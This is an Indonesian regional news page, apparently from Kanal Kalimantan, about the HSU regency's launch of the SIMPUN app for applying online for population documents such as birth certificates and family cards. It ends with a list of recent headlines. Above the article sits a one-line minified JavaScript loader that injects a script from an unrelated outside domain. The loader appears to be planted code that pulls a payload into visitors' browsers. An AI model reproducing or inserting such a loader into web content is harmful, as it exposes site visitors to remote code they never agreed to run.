(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Aplikasi SIMPUN Pemkab HSU Permudah Urus Dokumen Kependudukan


AMUNTAI, Kemudahan bagi masyarakat dalam pembuatan dokumen kependudukan merupakan salah satu tujuan pelayanan Pemerintah Kabupaten HSU. Untuk itu, melalui Dinas Komunikasi dan Informatika meluncurkan Aplikasi SIMPUN (Sistem Informasi Manajemen Kependudukan).

Program Aplikasi SIMPUN merupakan upaya Pemerintah Kabupaten HSU dalam mendukung program nasional bidang kependudukan, adanya program Aplikasi tersebut diharapkan dapat meningkatkan partisipasi masyarakat agar melengkapi dan memiliki dokumen kependudukan berdasarkan ketentuan yang berlaku.

Launching Aplikasi Simpun bertepatan dengan peluncuran Portal HSU, program Aplikasi SIMPUN terlaksana berkat kerjasama dengan Dinas Kependudukan dan Pencatatan Sipil (Disdukcatpil) Kabupaten HSU.

Kadis Kominfo HSU H. Adi Lesmana mengatakan, kehadiran aplikasi SIMPUN dapat menjadi solusi terbaik bagi masyarakat yang ingin membuat dokumen kependudukan, namun terkendala dengan jarak yang jauh dari Kantor Disdukcatpil HSU atau tidak mempunyai waktu disebabkan kesibukannya.

“Dengan adanya Aplikasi SIMPUN ini, masyarakat tidak hanya mendapatkan kemudahan dalam pengurusan dokumen kependudukan, akan tetapi masyarakat juga akan mendapatkan efesiensi dari pengurusan dokumen kependudukan tersebut,” jelasnya.

Lebih jauh Adi Lesmana menjelaskan, dokumen kependudukan dan pencatatan Sipil yang dapat dibuat melalui aplikasi SIMPUN antara lain Akta Kelahiran, Akta Kematian, Kartu Keluarga dan Kartu Identitas Anak (KIA).

Adi menambahkan melalui aplikasi ini masyarakat dapat mengajukan permohonan pembuatan dokumen kependudukan dan pencatatan sipil hanya dengan mengisi formulir yang disediakan, serta mengunggah persyaratan yang diperlukan, selanjutnya, pihak Disdukcatpil akan segera memprosesnya untuk menerbitkan dokumen Kependudukan berdasarkan permohonan masyarakat. Setelah dokumen kependudukan selesai diproses selanjutnya akan diantar/dikirim melalui PT Pos ke alamat masing-masing secara gratis. (Diskominfi/Humas)

Reporter : Diskominfo/humas
Editor : Chell

Desy Arfianty

Recent Posts

2026 Kemendikdasmen Revitalisasi 11.744 Satuan Pendidikan, Kalsel Kebagian Rp232,9 M di 2025

KANALKALIMANTAN.COM, BANJARBARU - Kementerian Pendidikan Dasar dan Menengah (Kemendikdasmen) tegaskan komitmen meningkatkan kualitas sumber daya… Read More

19 jam ago

Musrenbang Kecamatan Selat Digelar, Ini Kata Wakil Bupati Kapuas

KANALKALIMANTAN.COM, KUALA KAPUAS - Musyawarah Perencanaan Pembangunan (Musrenbang) Tingkat Kecamatan Selat dalam rangka penyusunan Rencana… Read More

1 hari ago

Resmikan 166 Sekolah Rakyat, Prabowo Target 500 Sekolah Rakyat di 2029

KANALKALIMANTAN.COM, BANJARBARU - Presiden Republik Indonesia Prabowo Subianto didampingi sejumlah Menteri Kabinet Merah Putih dan… Read More

1 hari ago

Prabowo Janjikan Kampus Kedokteran Gratis

KANALKALIMANTAN.COM, BANJARBARU - Presiden Prabowo Subianto berkeinginan membuka banyak sekolah dan kampus. Ia memandang pendidikan… Read More

1 hari ago

Tiba di Banjarbaru, Presiden Prabowo Resmikan 166 Sekolah Rakyat

KANALKALIMANTAN.COM, BANJARBARU - Presiden Prabowo Subianto melakukan kunjungan kerja ke Kota Banjarbaru, Provinsi Kalimantan Selatan,… Read More

2 hari ago

Peluncuran Budaya Sekolah Aman dan Nyaman di Banjarbaru, Ini Kata Mendikdasmen Abdul Mu’ti

KANALKALIMANTAN.COM, BANJARBARU – Kota Banjarbaru menjadi salah satu titik penting peluncuran budaya sekolah aman dan… Read More

2 hari ago

This website uses cookies.